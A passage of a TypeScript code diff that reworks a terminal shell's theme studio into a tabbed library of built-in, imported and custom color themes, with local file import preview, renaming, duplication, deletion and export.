'custom' ? 'lavender' : palette)}; + return {draft, ...(current ? {saved: structuredClone(current)} : {}), ...(asset ? {assetId: asset.id, provenance: provenanceLabel(asset)} : {}), + selected: 0, base: recorded ?? (palette === 'custom' ? 'lavender' : palette)}; } +/** Back-compatible name for a single editor (tests and callers that only edit). */ +export const createThemeStudioEditor = createThemeEditor; + export function themeDefaults(): Record { const ui = defaultUiColors(); return {accent: hexColor(ui.accent), primary: hexColor(ui.primary), secondary: hexColor(ui.secondary), subtle: hexColor(ui.subtle), @@ -84,6 +98,11 @@ export function themesDirectory(env: NodeJS.ProcessEnv = process.env): string { return join(nmshConfigDirectory(env), 'themes'); } +/** + * Portable NMSh Theme JSON for a theme: the Native theme itself. Library + * provenance (and so any local source path) is not part of the theme data, + * so it can never leak into an export. + */ export function writeThemeExport(theme: CustomTheme, directory = themesDirectory()): string { mkdirSync(directory, {recursive: true, mode: 0o700}); const path = join(directory, `${themeSlug(theme.name)}.nmsh-theme.json`); @@ -93,63 +112,64 @@ export function writeThemeExport(theme: CustomTheme, directory = themesDirectory return path; } -function expandPath(input: string, cwd: string): string { +export function expandPath(input: string, cwd: string): string { const text = input.trim(); if (text === '~' || text.startsWith('~/')) return join(homedir(), text.slice(1)); return isAbsolute(text) ? text : resolve(cwd, text); } -/** Reads a theme file for preview: bounded size, parsed as data only. */ -export function readThemeImport(input: string, cwd: string): ThemeImport | {errors: string[]} { +/** Reads a local theme file for preview: bounded size, parsed as data only, never stored here. */ +export function readThemeImport(input: string, cwd: string, format: (typeof IMPORT_FORMAT_CHOICES)[number] = 'auto'): (ImportPreview & {path: string}) | {errors: string[]} { const path = expandPath(input, cwd); try { const stat = statSync(path); if (!stat.isFile()) return {errors: [`${path} is not a file.`]}; - if (stat.size > 256 * 1024) return {errors: ['File is larger than 256 KiB.']}; - return importTheme(readFileSync(path, 'utf8'), themeDefaults()); + if (stat.size > IMPORT_SIZE_LIMIT) return {errors: ['File is larger than 256 KiB.']}; + const outcome: ImportOutcome = importThemeSource(readFileSync(path, 'utf8'), basename(path), themeDefaults(), builtinTheme('lavender'), format); + return 'errors' in outcome ? outcome : {...outcome, path}; } catch (error) { return {errors: [`Could not read ${path}: ${(error as NodeJS.ErrnoException).code ?? 'error'}.`]}; } } -/** The selected base theme's colors, keeping the draft's name. */ -function baseTheme(state: ThemeStudioState): CustomTheme { +/** Provenance recorded for an import; the path stays local (never exported). */ +export function importOrigin(preview: ImportPreview & {path: string}, now = new Date()): ThemeOrigin { + return {kind: preview.format, ...(preview.sourceName ? {sourceName: preview.sourceName} : {}), sourcePath: preview.path, + importerVersion: IMPORTER_VERSION, importedAt: now.toISOString()}; +} + +function baseTheme(state: ThemeEditorState): CustomTheme { return cloneFromPalette(state.base, undefined, state.draft.name); } /** Draft colors differ from the base: a reset would discard edits. */ -export function draftDiffersFromBase(state: ThemeStudioState): boolean { +export function draftDiffersFromBase(state: ThemeEditorState): boolean { const base = baseTheme(state); return JSON.stringify([state.draft.prompt, state.draft.ui, state.draft.dark]) !== JSON.stringify([base.prompt, base.ui, base.dark]); } -/** - * Reset to base: the draft's colors become the selected Based on theme again. - * Only the draft changes; Save & use stays the one persistence point and Esc - * still abandons everything, leaving the saved custom theme untouched. - */ -export function resetDraftToBase(state: ThemeStudioState): void { +/** Reset to base: only the draft changes; Save stays the one persistence point and Esc abandons everything. */ +export function resetDraftToBase(state: ThemeEditorState): void { const base = baseTheme(state); state.draft = {...state.draft, prompt: base.prompt, ui: base.ui, dark: base.dark, basedOn: base.basedOn}; state.confirmReset = false; - state.message = `Draft reset to ${NATIVE_PROMPT_THEMES[state.base].label}. Save & use to keep it; Esc abandons the draft.`; + state.message = `Draft reset to ${NATIVE_PROMPT_THEMES[state.base].label}. Save to keep it; Esc abandons the draft.`; } -/** One role back to its base color (R on a color row). */ -export function resetRoleToBase(state: ThemeStudioState, row: StudioRow & {kind: 'role'}): void { +export function resetRoleToBase(state: ThemeEditorState, row: EditorRow & {kind: 'role'}): void { const base = baseTheme(state); if (row.group === 'prompt') state.draft.prompt[row.role as PromptThemeRole] = base.prompt[row.role as PromptThemeRole]; else state.draft.ui[row.role as UiThemeRole] = base.ui[row.role as UiThemeRole]; state.message = `${ROLE_LABELS[row.role]} reset to ${NATIVE_PROMPT_THEMES[state.base].label}.`; } -export type StudioResult = {kind: 'cancel'} | {kind: 'save'; theme: CustomTheme} | {kind: 'export'} | undefined; +export type EditorResult = {kind: 'cancel'} | {kind: 'save'; theme: CustomTheme} | undefined; -function roleColor(theme: CustomTheme, row: StudioRow & {kind: 'role'}): string { +function roleColor(theme: CustomTheme, row: EditorRow & {kind: 'role'}): string { return row.group === 'prompt' ? theme.prompt[row.role as PromptThemeRole] : theme.ui[row.role as UiThemeRole]; } -export function studioKey(state: ThemeStudioState, key: Key, level: ColorLevel, cwd: string): StudioResult { +export function editorKey(state: ThemeEditorState, key: Key, level: ColorLevel): EditorResult { state.message = undefined; if (state.picker) { const outcome = colorPickerKey(state.picker.state, key, level); @@ -174,26 +194,6 @@ export function studioKey(state: ThemeStudioState, key: Key, level: ColorLevel, } return undefined; } - if (state.importPath !== undefined) { - if (state.importPreview) { - if (key.kind === 'enter') { - state.draft = state.importPreview.theme; - state.message = `Imported ${state.importPreview.theme.name}. Save to use it.`; - state.importPreview = undefined; state.importPath = undefined; - } else if (key.kind === 'escape' || key.kind === 'interrupt') { state.importPreview = undefined; } - return undefined; - } - if (key.kind === 'escape' || key.kind === 'interrupt') state.importPath = undefined; - else if (key.kind === 'enter') { - const result = readThemeImport(state.importPath, cwd); - if ('errors' in result) state.message = result.errors.join(' '); - else state.importPreview = result; - } else { - const next = editText(state.importPath, key); - if (next !== undefined) state.importPath = next; - } - return undefined; - } if (state.confirmReset) { if (key.kind === 'enter' || (key.kind === 'text' && key.value.toLowerCase() === 'y')) resetDraftToBase(state); else if (key.kind === 'escape' || key.kind === 'interrupt' || (key.kind === 'text' && key.value.toLowerCase() === 'n')) state.confirmReset = false; @@ -201,7 +201,7 @@ export function studioKey(state: ThemeStudioState, key: Key, level: ColorLevel, } if (key.kind === 'escape' || key.kind === 'interrupt') return {kind: 'cancel'}; if (key.kind === 'text' && key.value.toLowerCase() === 'r' && STUDIO_ROWS[state.selected]?.kind === 'role') { - resetRoleToBase(state, STUDIO_ROWS[state.selected] as StudioRow & {kind: 'role'}); + resetRoleToBase(state, STUDIO_ROWS[state.selected] as EditorRow & {kind: 'role'}); return undefined; } if (key.kind === 'up') state.selected = (state.selected + STUDIO_ROWS.length - 1) % STUDIO_ROWS.length; @@ -217,78 +217,406 @@ export function studioKey(state: ThemeStudioState, key: Key, level: ColorLevel, case 'name': state.editingName = state.draft.name; break; case 'basedOn': case 'reset': - // Same operation from either row; unsaved edits are confirmed first. if (draftDiffersFromBase(state)) state.confirmReset = true; else resetDraftToBase(state); break; case 'dark': state.draft.dark = !state.draft.dark; break; case 'role': state.picker = {row, state: createColorPicker(roleColor(state.draft, row), level)}; break; - case 'import': state.importPath = ''; break; - case 'export': return {kind: 'export'}; case 'save': return {kind: 'save', theme: structuredClone(state.draft)}; } } return undefined; } -export function renderThemeStudio(state: ThemeStudioState, columns: number, height: number, level: ColorLevel, preview: readonly string[]): string[] { +const RESET = '\u001B[0m'; + +function swatches(colors: readonly string[], level: ColorLevel): string { + if (level === 'none') return ''; + return colors.map(hex => `${colorEscape(48, parseHexColor(hex)!, level)} ${RESET}`).join(''); +} + +export function renderThemeEditor(state: ThemeEditorState, columns: number, height: number, level: ColorLevel, preview: readonly string[], title = 'Theme Studio'): string[] { const primary = foreground(UI_COLORS.primary); const secondary = foreground(UI_COLORS.secondary); const subtle = foreground(UI_COLORS.subtle); const accent = foreground(UI_COLORS.accent); - const reset = '\u001B[0m'; - const out: string[] = [` ${primary}Theme Studio${reset} ${subtle}custom Native theme · colors NMSh-owned UI only${reset}`, '']; + const heading = state.assetId ? `Edit · ${state.draft.name}` : 'New custom theme'; + const out: string[] = [` ${primary}${title} › ${heading}${RESET} ${subtle}${state.provenance ?? 'NMSh Native theme · colors NMSh-owned UI only'}${RESET}`, '']; if (state.picker) { - const label = `${ROLE_LABELS[state.picker.row.role]} ${subtle}(${state.picker.row.group === 'prompt' ? 'prompt' : 'interface'})${reset}`; + const label = `${ROLE_LABELS[state.picker.row.role]} ${subtle}(${state.picker.row.group === 'prompt' ? 'prompt' : 'interface'})${RESET}`; out.push(...renderColorPicker(state.picker.state, label, columns, level, {columns: Math.min(40, columns - 8), rows: Math.max(3, Math.min(8, height - 16))})); - return framePanel(out.map(row => truncateAnsi(row, columns)), columns).slice(0, Math.max(1, height)); - } - if (state.importPreview) { - const theme = state.importPreview.theme; - out.push(` ${primary}Import preview · ${theme.name}${reset} ${subtle}${state.importPreview.format === 'nmsh' ? 'NMSh Theme JSON' : state.importPreview.format === 'base16' ? 'Base16' : 'Windows Terminal scheme'}${reset}`, ''); - out.push(` ${PROMPT_THEME_ROLES.map(role => `${colorEscape(48, parseHexColor(theme.prompt[role])!, level)} ${reset}`).join('')} ${subtle}prompt roles${reset}`); - out.push(` ${UI_THEME_ROLES.map(role => `${colorEscape(48, parseHexColor(theme.ui[role])!, level)} ${reset}`).join('')} ${subtle}interface roles${reset}`); - for (const warning of state.importPreview.warnings) out.push(` ${subtle}${warning}${reset}`); - out.push('', renderControls([['Enter', 'use as draft'], ['Esc', 'back']])); - return framePanel(out.map(row => truncateAnsi(row, columns)), columns).slice(0, Math.max(1, height)); - } - if (state.importPath !== undefined) { - out.push(` ${primary}Import a theme file${reset}`, ` ${subtle}NMSh Theme JSON, Base16 (YAML/JSON) or a Windows Terminal color scheme. Nothing is applied until you save.${reset}`, '', - ` Path ${primary}${state.importPath}${reset}${accent}_${reset}`); - if (state.message) out.push('', ` ${secondary}${state.message}${reset}`); - out.push('', renderControls([['Enter', 'preview'], ['Esc', 'back']])); - return framePanel(out.map(row => truncateAnsi(row, columns)), columns).slice(0, Math.max(1, height)); + return out.map(row => truncateAnsi(row, columns)); } - const swatch = (hex: string) => `${colorEscape(48, parseHexColor(hex)!, level)} ${reset}`; const lines = STUDIO_ROWS.map((row, index) => { - const pointer = index === state.selected ? `${accent}${GLYPHS.selection}${reset}` : ' '; - const label = (text: string) => `${index === state.selected ? primary : secondary}${padCells(text, 16)}${reset}`; + const pointer = index === state.selected ? `${accent}${GLYPHS.selection}${RESET}` : ' '; + const label = (text: string) => `${index === state.selected ? primary : secondary}${padCells(text, 16)}${RESET}`; switch (row.kind) { - case 'name': return `${pointer} ${label('Name')}${state.editingName !== undefined ? `${primary}${state.editingName}${accent}_${reset}` : state.draft.name}`; - case 'basedOn': return `${pointer} ${label('Based on')}${NATIVE_PROMPT_THEMES[state.base].label} ${subtle}←→ choose · Enter reset draft to it${reset}`; + case 'name': return `${pointer} ${label('Name')}${state.editingName !== undefined ? `${primary}${state.editingName}${accent}_${RESET}` : state.draft.name}`; + case 'basedOn': return `${pointer} ${label('Based on')}${NATIVE_PROMPT_THEMES[state.base].label} ${subtle}←→ choose · Enter reset draft to it${RESET}`; case 'dark': return `${pointer} ${label('Text tiers')}${state.draft.dark ? 'Dark terminal' : 'Keep NMSh text colors'}`; case 'role': { const hex = roleColor(state.draft, row); - return `${pointer} ${label(`${row.group === 'ui' ? 'UI ' : ''}${ROLE_LABELS[row.role]}`)}${level === 'none' ? '' : `${swatch(hex)} `}${hex}`; + return `${pointer} ${label(`${row.group === 'ui' ? 'UI ' : ''}${ROLE_LABELS[row.role]}`)}${level === 'none' ? '' : `${swatches([hex], level)} `}${hex}`; } - case 'import': return `${pointer} ${label('Import')}${subtle}NMSh Theme JSON, Base16, Windows Terminal ›${reset}`; - case 'export': return `${pointer} ${label('Export')}${subtle}${themesDirectory()} ›${reset}`; - case 'reset': return `${pointer} ${label('Reset to base')}${subtle}draft colors back to ${NATIVE_PROMPT_THEMES[state.base].label}; saved theme unchanged${reset}`; - case 'save': return `${pointer} ${label('Save & use')}${subtle}apply as the Custom theme${reset}`; + case 'reset': return `${pointer} ${label('Reset to base')}${subtle}draft colors back to ${NATIVE_PROMPT_THEMES[state.base].label}; saved theme unchanged${RESET}`; + case 'save': return `${pointer} ${label('Save')}${subtle}${state.assetId ? 'save this theme' : 'add to Custom themes'}${RESET}`; } }); // A window around the selection keeps the list usable on short terminals. - const budget = Math.max(3, height - 7 - preview.length - (state.message ? 2 : 0)); + const budget = Math.max(3, height - 5 - preview.length - (state.message ? 2 : 0)); const start = Math.max(0, Math.min(state.selected - Math.floor(budget / 2), lines.length - budget)); out.push(...lines.slice(start, start + budget)); - if (preview.length) out.push('', ...preview); + if (preview.length && height - 5 - preview.length >= 3) out.push('', ...preview); if (state.confirmReset) { - out.push('', ` ${primary}Reset the draft to ${NATIVE_PROMPT_THEMES[state.base].label}? Unsaved color edits are discarded; the saved theme is unchanged.${reset}`); + out.push('', ` ${primary}Reset the draft to ${NATIVE_PROMPT_THEMES[state.base].label}? Unsaved color edits are discarded; the saved theme is unchanged.${RESET}`); out.push('', renderControls([['Enter', 'reset draft'], ['Esc', 'keep editing']])); - return framePanel(out.map(row => truncateAnsi(row, columns)), columns).slice(0, Math.max(1, height)); + return out.map(row => truncateAnsi(row, columns)); } - if (state.message) out.push('', ` ${secondary}${state.message}${reset}`); + if (state.message) out.push('', ` ${secondary}${state.message}${RESET}`); const onRole = STUDIO_ROWS[state.selected]?.kind === 'role'; - out.push('', renderControls([['↑↓', 'select'], ['Enter', 'edit/open'], ['←→', 'change'], ...(onRole ? [['R', 'reset role'] as [string, string]] : []), ['Esc', 'cancel']])); - return framePanel(out.map(row => truncateAnsi(row, columns)), columns).slice(0, Math.max(1, height)); + out.push('', renderControls([['↑↓', 'select'], ['Enter', 'edit'], ['←→', 'change'], ...(onRole ? [['R', 'reset role'] as [string, string]] : []), ['Esc', 'back']])); + return out.map(row => truncateAnsi(row, columns)); +} + +// ---- Library (tabs) --------------------------------------------------------- + +export const STUDIO_TABS = ['Built-in', 'Imported', 'Custom', 'Import'] as const; +export type StudioTab = 'builtin' | 'imported' | 'custom' | 'import'; +const TAB_IDS: readonly StudioTab[] = ['builtin', 'imported', 'custom', 'import']; + +/** What the studio sees of the configuration; it never edits it. */ +export interface StudioContext { + themes: readonly ThemeAsset[]; + activeRef?: ThemeRef; + accent: CatppuccinAccent; + /** Theme Bridge targets pinned to each reference, for delete warnings and labels. */ + pinnedTo: (ref: ThemeRef) => BridgeTargetId[]; + /** The persisted global Chroma, described (for the local preview switch). */ + chroma?: string; + /** The active theme's display name (for Duplicate current). */ + activeName?: string; +} + +export interface ThemeStudioState { + tab: StudioTab; + focus: 'tabs' | 'list'; + /** Selected row per library tab. */ + selected: Record, number>; + editor?: ThemeEditorState; + rename?: {id: string; text: string}; + confirmDelete?: {id: string; name: string; pinned: BridgeTargetId[]}; + /** Import tab: format choice, path, and the parsed preview awaiting confirmation. */ + importFormat: number; + importField: 'format' | 'path'; + importPath: string; + importPreview?: ImportPreview & {path: string}; + message?: string; + /** + * Local preview only: render the preview through the user's current Chroma. + * Off by default so the real theme colors are visible; never persisted and + * never changes the global Chroma setting. + */ + previewChroma: boolean; +} + +export type StudioAction = + | {kind: 'close'} + | {kind: 'activate'; ref: ThemeRef} + | {kind: 'saveTheme'; id?: string; theme: CustomTheme} + | {kind: 'importTheme'; theme: CustomTheme; origin: ThemeOrigin} + | {kind: 'rename'; id: string; name: string} + | {kind: 'duplicate'; id: string} + | {kind: 'duplicateBuiltin'; ref: ThemeRef} + | {kind: 'duplicateCurrent'} + | {kind: 'delete'; id: string; confirmIndependent: boolean} + | {kind: 'export'; id: string}; + +const BUILTIN_PALETTES = THEME_PALETTE_IDS.filter((id): id is Exclude => id !== 'custom'); + +export function createThemeStudio(context: StudioContext, tab: StudioTab = 'builtin'): ThemeStudioState { + const state: ThemeStudioState = {tab, focus: 'list', selected: {builtin: 0, imported: 0, custom: 0}, importFormat: 0, importField: 'path', importPath: '', previewChroma: false}; + // Open on the active theme where it lives. + const active = context.activeRef; + const asset = active?.startsWith('asset:') ? findTheme(context.themes, active.slice(6)) : undefined; + if (asset) { + state.tab = categoryOf(asset); + state.selected[state.tab] = libraryItems(context, state.tab).findIndex(item => item.id === asset.id) + (state.tab === 'custom' ? CUSTOM_ACTIONS : 0); + } else if (active?.startsWith('builtin:')) { + const palette = active.slice(8).split('@')[0]; + state.selected.builtin = Math.max(0, BUILTIN_PALETTES.indexOf(palette as Exclude)); + } + if (tab !== 'builtin') state.tab = tab; + return state; +} + +function libraryItems(context: StudioContext, tab: 'imported' | 'custom'): ThemeAsset[] { + return context.themes.filter(asset => categoryOf(asset) === tab); +} + +function rowCount(state: ThemeStudioState, context: StudioContext): number { + if (state.tab === 'builtin') return BUILTIN_PALETTES.length; + if (state.tab === 'imported') return libraryItems(context, 'imported').length; + if (state.tab === 'custom') return libraryItems(context, 'custom').length + CUSTOM_ACTIONS; + return 0; +} + +/** The asset under the selection on the Imported/Custom tabs (Custom row 0 is "New custom theme"). */ +export function selectedAsset(state: ThemeStudioState, context: StudioContext): ThemeAsset | undefined { + if (state.tab === 'imported') return libraryItems(context, 'imported')[state.selected.imported]; + if (state.tab === 'custom') return state.selected.custom < CUSTOM_ACTIONS ? undefined : libraryItems(context, 'custom')[state.selected.custom - CUSTOM_ACTIONS]; + return undefined; +} + +export function selectedBuiltinRef(state: ThemeStudioState, context: StudioContext): ThemeRef { + return builtinRef(BUILTIN_PALETTES[state.selected.builtin] ?? 'lavender', context.accent); +} + +/** The theme the studio is showing: the editor draft, the import preview, or the selected row. */ +export function previewTheme(state: ThemeStudioState, context: StudioContext): {theme: CustomTheme; palette?: Exclude} | undefined { + if (state.editor) return {theme: state.editor.draft}; + if (state.tab === 'import') return state.importPreview ? {theme: state.importPreview.theme} : undefined; + if (state.tab === 'builtin') { + const palette = BUILTIN_PALETTES[state.selected.builtin] ?? 'lavender'; + return {theme: builtinTheme(palette, context.accent), palette}; + } + const asset = selectedAsset(state, context); + return asset ? {theme: asset.theme} : undefined; +} + +function switchTab(state: ThemeStudioState, delta: number): void { + state.tab = TAB_IDS[(TAB_IDS.indexOf(state.tab) + delta + TAB_IDS.length) % TAB_IDS.length]!; + state.message = undefined; +} + +/** Custom tab: two action rows (New, Duplicate current) before the themes. */ +const CUSTOM_ACTIONS = 2; + +/** C toggles the local preview Chroma wherever no text is being typed. */ +function typing(state: ThemeStudioState): boolean { + return Boolean(state.rename || state.editor?.picker || state.editor?.editingName !== undefined || (state.tab === 'import' && state.importField === 'path' && state.focus === 'list' && !state.importPreview && !state.editor)); +} + +export function studioKey(state: ThemeStudioState, key: Key, level: ColorLevel, cwd: string, context: StudioContext): StudioAction | undefined { + if (key.kind === 'text' && key.value.toLowerCase() === 'c' && !typing(state) && !state.confirmDelete) { + state.previewChroma = !state.previewChroma; + return undefined; + } + if (state.editor) { + const result = editorKey(state.editor, key, level); + if (result?.kind === 'cancel') { state.editor = undefined; return undefined; } + if (result?.kind === 'save') { + const id = state.editor.assetId; + state.editor = undefined; + return {kind: 'saveTheme', ...(id ? {id} : {}), theme: result.theme}; + } + return undefined; + } + if (state.rename) { + if (key.kind === 'escape' || key.kind === 'interrupt') state.rename = undefined; + else if (key.kind === 'enter') { + const {id, text} = state.rename; + state.rename = undefined; + return {kind: 'rename', id, name: text}; + } else { + const next = editText(state.rename.text, key); + if (next !== undefined) state.rename.text = next.replace(/[\u0000-\u001f\u007f-\u009f]/gu, '').slice(0, 48); + } + return undefined; + } + if (state.confirmDelete) { + const {id, pinned} = state.confirmDelete; + if (key.kind === 'enter' || (key.kind === 'text' && key.value.toLowerCase() === 'y')) { + state.confirmDelete = undefined; + return {kind: 'delete', id, confirmIndependent: pinned.length > 0}; + } + if (key.kind === 'escape' || key.kind === 'interrupt' || (key.kind === 'text' && key.value.toLowerCase() === 'n')) state.confirmDelete = undefined; + return undefined; + } + state.message = undefined; + if (state.tab === 'import') return importKey(state, key, cwd); + if (key.kind === 'escape' || key.kind === 'interrupt') return {kind: 'close'}; + if (key.kind === 'left' || key.kind === 'right') { switchTab(state, key.kind === 'left' ? -1 : 1); return undefined; } + if (state.focus === 'tabs') { + if (key.kind === 'down' || key.kind === 'enter') state.focus = 'list'; + return undefined; + } + const count = rowCount(state, context); + const tab = state.tab; + if (key.kind === 'up' || key.kind === 'down') { + if (key.kind === 'up' && state.selected[tab] === 0) { state.focus = 'tabs'; return undefined; } + if (count) state.selected[tab] = Math.max(0, Math.min(count - 1, state.selected[tab] + (key.kind === 'up' ? -1 : 1))); + return undefined; + } + const letter = key.kind === 'text' ? key.value.toLowerCase() : ''; + if (tab === 'builtin') { + const ref = selectedBuiltinRef(state, context); + if (key.kind === 'enter') return {kind: 'activate', ref}; + if (letter === 'd') return {kind: 'duplicateBuiltin', ref}; + if (letter === 'e') { + // Built-ins are immutable: editing starts a new Custom theme from it. + const palette = BUILTIN_PALETTES[state.selected.builtin] ?? 'lavender'; + state.editor = createThemeEditor(undefined, palette); + state.editor.draft = {...builtinTheme(palette, context.accent), name: `My ${builtinTheme(palette, context.accent).name}`.slice(0, 48)}; + } + return undefined; + } + if (tab === 'custom' && state.selected.custom === 1) { + if (key.kind === 'enter') return {kind: 'duplicateCurrent'}; + return undefined; + } + if (tab === 'custom' && state.selected.custom === 0) { + if (key.kind === 'enter' || letter === 'n') { + const base = context.activeRef?.startsWith('builtin:') ? context.activeRef.slice(8).split('@')[0] as NativePaletteId : 'lavender'; + state.editor = createThemeEditor(undefined, base); + } + return undefined; + } + const asset = selectedAsset(state, context); + if (!asset) { + if (key.kind === 'enter' && tab === 'imported') { state.tab = 'import'; } + return undefined; + } + if (key.kind === 'enter') return {kind: 'activate', ref: assetRef(asset.id)}; + if (letter === 'e') state.editor = createThemeEditor(asset.theme, 'lavender', asset); + else if (letter === 'n') state.rename = {id: asset.id, text: asset.theme.name}; + else if (letter === 'd') return {kind: 'duplicate', id: asset.id}; + else if (letter === 'x') return {kind: 'export', id: asset.id}; + else if (key.kind === 'delete' || key.kind === 'backspace' || letter === 'r') { + if (context.activeRef === assetRef(asset.id)) state.message = `${asset.theme.name} is the active theme. Set another theme active first.`; + else state.confirmDelete = {id: asset.id, name: asset.theme.name, pinned: context.pinnedTo(assetRef(asset.id))}; + } + return undefined; +} + +function importKey(state: ThemeStudioState, key: Key, cwd: string): StudioAction | undefined { + if (state.importPreview) { + if (key.kind === 'enter') { + const preview = state.importPreview; + state.importPreview = undefined; + state.importPath = ''; + return {kind: 'importTheme', theme: preview.theme, origin: importOrigin(preview)}; + } + // Cancel stores nothing: the parsed preview is simply dropped. + if (key.kind === 'escape' || key.kind === 'interrupt') { state.importPreview = undefined; state.message = 'Import cancelled; nothing was saved.'; } + return undefined; + } + if (key.kind === 'escape' || key.kind === 'interrupt') return {kind: 'close'}; + if (state.focus === 'tabs') { + if (key.kind === 'left' || key.kind === 'right') switchTab(state, key.kind === 'left' ? -1 : 1); + else if (key.kind === 'down' || key.kind === 'enter') { state.focus = 'list'; state.importField = 'format'; } + return undefined; + } + if (key.kind === 'up' || key.kind === 'down') { + if (key.kind === 'up' && state.importField === 'format') state.focus = 'tabs'; + else state.importField = key.kind === 'up' ? 'format' : 'path'; + return undefined; + } + if (state.importField === 'format') { + if (key.kind === 'left' || key.kind === 'right') { + state.importFormat = (state.importFormat + (key.kind === 'left' ? -1 : 1) + IMPORT_FORMAT_CHOICES.length) % IMPORT_FORMAT_CHOICES.length; + } else if (key.kind === 'enter') state.importField = 'path'; + return undefined; + } + if (key.kind === 'enter') { + if (!state.importPath.trim()) { state.message = 'Type the path of a local theme file.'; return undefined; } + const result = readThemeImport(state.importPath, cwd, IMPORT_FORMAT_CHOICES[state.importFormat]); + if ('errors' in result) state.message = result.errors.join(' '); + else state.importPreview = result; + return undefined; + } + if ((key.kind === 'left' || key.kind === 'right') && !state.importPath) { switchTab(state, key.kind === 'left' ? -1 : 1); return undefined; } + const next = editText(state.importPath, key); + if (next !== undefined) state.importPath = next.replace(/[\u0000-\u001f\u007f-\u009f]/gu, '').slice(0, 1024); + return undefined; +} + +/** + * The /theme panel. `preview` rows come from TerminalApp's real Native + * renderer for whatever previewTheme() returns, so every category previews + * identically. + */ +export function renderThemeStudio(state: ThemeStudioState, context: StudioContext, columns: number, height: number, level: ColorLevel, preview: readonly string[]): string[] { + const primary = foreground(UI_COLORS.primary); + const secondary = foreground(UI_COLORS.secondary); + const subtle = foreground(UI_COLORS.subtle); + const accent = foreground(UI_COLORS.accent); + const finish = (rows: string[]) => framePanel(rows.map(row => truncateAnsi(row, columns)), columns).slice(0, Math.max(1, height)); + const chromaLine = ` ${subtle}Preview Chroma ${state.previewChroma ? `${accent}On${RESET}${subtle}` : 'Off'} · Global Chroma ${context.chroma ?? 'Off'} · C toggles the preview only${RESET}`; + if (state.editor) return finish(renderThemeEditor(state.editor, columns, height - 1, level, preview.length ? [chromaLine, ...preview] : preview)); + const head = [renderTabStrip(STUDIO_TABS, TAB_IDS.indexOf(state.tab), columns, state.focus === 'tabs'), '']; + const body: string[] = []; + const controls: Array<[string, string]> = []; + const active = (ref: ThemeRef) => context.activeRef === ref ? ` ${accent}● active${RESET}` : ''; + const pinned = (ref: ThemeRef) => { + const targets = context.pinnedTo(ref); + return targets.length ? ` ${subtle}bridge: ${targets.map(target => BRIDGE_TARGET_LABELS[target]).join(', ')}${RESET}` : ''; + }; + const listBudget = Math.max(2, height - head.length - preview.length - 6); + const window = (items: readonly T[], selected: number) => { + const start = Math.max(0, Math.min(selected - Math.floor(listBudget / 2), items.length - listBudget)); + return {start, items: items.slice(start, start + listBudget)}; + }; + const mark = (selected: boolean) => selected && state.focus === 'list' ? `${accent}${GLYPHS.selection}${RESET}` : ' '; + + if (state.tab === 'builtin') { + body.push(` ${subtle}NMSh and bundled theme families. Built-ins are immutable; duplicate one to edit it.${RESET}`); + const {start, items} = window(BUILTIN_PALETTES, state.selected.builtin); + items.forEach((palette, offset) => { + const index = start + offset; + const theme = builtinTheme(palette, context.accent); + const ref = builtinRef(palette, context.accent); + body.push(`${mark(index === state.selected.builtin)} ${index === state.selected.builtin ? primary : secondary}${padCells(theme.name, 26)}${RESET}${swatches(Object.values(theme.prompt).slice(0, 6), level)}${active(ref)}${pinned(ref)}`); + }); + controls.push(['Enter', 'set active'], ['D', 'duplicate to Custom'], ['E', 'edit a copy']); + } else if (state.tab === 'imported' || state.tab === 'custom') { + const items = libraryItems(context, state.tab); + const rows: Array<{label: string; detail: string; ref?: ThemeRef; colors?: string[]}> = state.tab === 'custom' + ? [{label: '+ New custom theme', detail: 'from the active built-in theme'}, + {label: `⧉ Duplicate current theme → Custom${context.activeName ? ` (${context.activeName})` : ''}`, detail: 'copies the active theme'}] : []; + rows.push(...items.map(asset => ({label: asset.theme.name, detail: provenanceLabel(asset), ref: assetRef(asset.id), colors: Object.values(asset.theme.prompt).slice(0, 6)}))); + if (!rows.length) body.push(` ${subtle}No imported themes yet. Open the Import tab to bring in a theme file.${RESET}`); + const selected = state.selected[state.tab]; + const {start, items: shown} = window(rows, selected); + shown.forEach((row, offset) => { + const index = start + offset; + body.push(`${mark(index === selected)} ${index === selected ? primary : secondary}${padCells(truncateText(row.label, row.ref ? 26 : 60), row.ref ? 26 : 60)}${RESET}${row.colors ? swatches(row.colors, level) : ''}${row.ref ? `${active(row.ref)}${pinned(row.ref)}` : ''}`); + }); + const asset = selectedAsset(state, context); + if (asset) body.push('', ` ${subtle}${provenanceLabel(asset)}${RESET}`); + if (asset) controls.push(['Enter', 'set active'], ['E', 'edit'], ['N', 'rename'], ['D', 'duplicate'], ['X', 'export'], ['Del', 'delete']); + else if (state.tab === 'custom') controls.push(['Enter', 'create']); + } else { + const format = IMPORT_FORMAT_CHOICES[state.importFormat]!; + if (state.importPreview) { + const p = state.importPreview; + body.push(` ${primary}Import preview · ${p.theme.name}${RESET} ${subtle}${importFormatLabel(p.format)} · ${p.theme.dark ? 'dark' : 'light'}${RESET}`); + body.push(` ${swatches(PROMPT_THEME_ROLES.map(role => p.theme.prompt[role]), level)} ${subtle}prompt roles${RESET}`); + body.push(` ${swatches(UI_THEME_ROLES.map(role => p.theme.ui[role]), level)} ${subtle}interface roles${RESET}`); + for (const mapping of p.mapping.slice(0, 6)) body.push(` ${secondary}${padCells(mapping.role, 18)}${RESET}${subtle}← ${mapping.from}${RESET}`); + for (const warning of p.warnings) body.push(` ${subtle}• ${warning}${RESET}`); + controls.push(['Enter', 'save as Imported theme'], ['Esc', 'cancel (nothing saved)']); + } else { + body.push(` ${subtle}Parse a local theme file into an NMSh Native theme. Nothing is executed or fetched; you preview before anything is saved.${RESET}`, ''); + const focusFormat = state.focus === 'list' && state.importField === 'format'; + const focusPath = state.focus === 'list' && state.importField === 'path'; + body.push(`${mark(focusFormat)} ${focusFormat ? primary : secondary}${padCells('Format', 10)}${RESET}${focusFormat ? `${accent}‹ ${importFormatLabel(format)} ›${RESET}` : importFormatLabel(format)}`); + body.push(`${mark(focusPath)} ${focusPath ? primary : secondary}${padCells('Path', 10)}${RESET}${primary}${state.importPath}${RESET}${focusPath ? `${accent}_${RESET}` : ''}`); + body.push('', ` ${subtle}NMSh JSON · Base16/Base24 · Windows Terminal · Oh My Posh (JSON/YAML/TOML) · Kitty · Ghostty · iTerm2 · WezTerm TOML${RESET}`); + controls.push(['Enter', focusFormat ? 'to path' : 'preview'], ['↑↓', 'field'], ['Esc', 'close']); + } + } + if (state.rename) body.push('', ` ${primary}Rename${RESET} ${primary}${state.rename.text}${accent}_${RESET} ${subtle}Enter save · Esc cancel${RESET}`); + if (state.confirmDelete) { + const {name, pinned: targets} = state.confirmDelete; + body.push('', targets.length + ? ` ${primary}Delete ${name}? 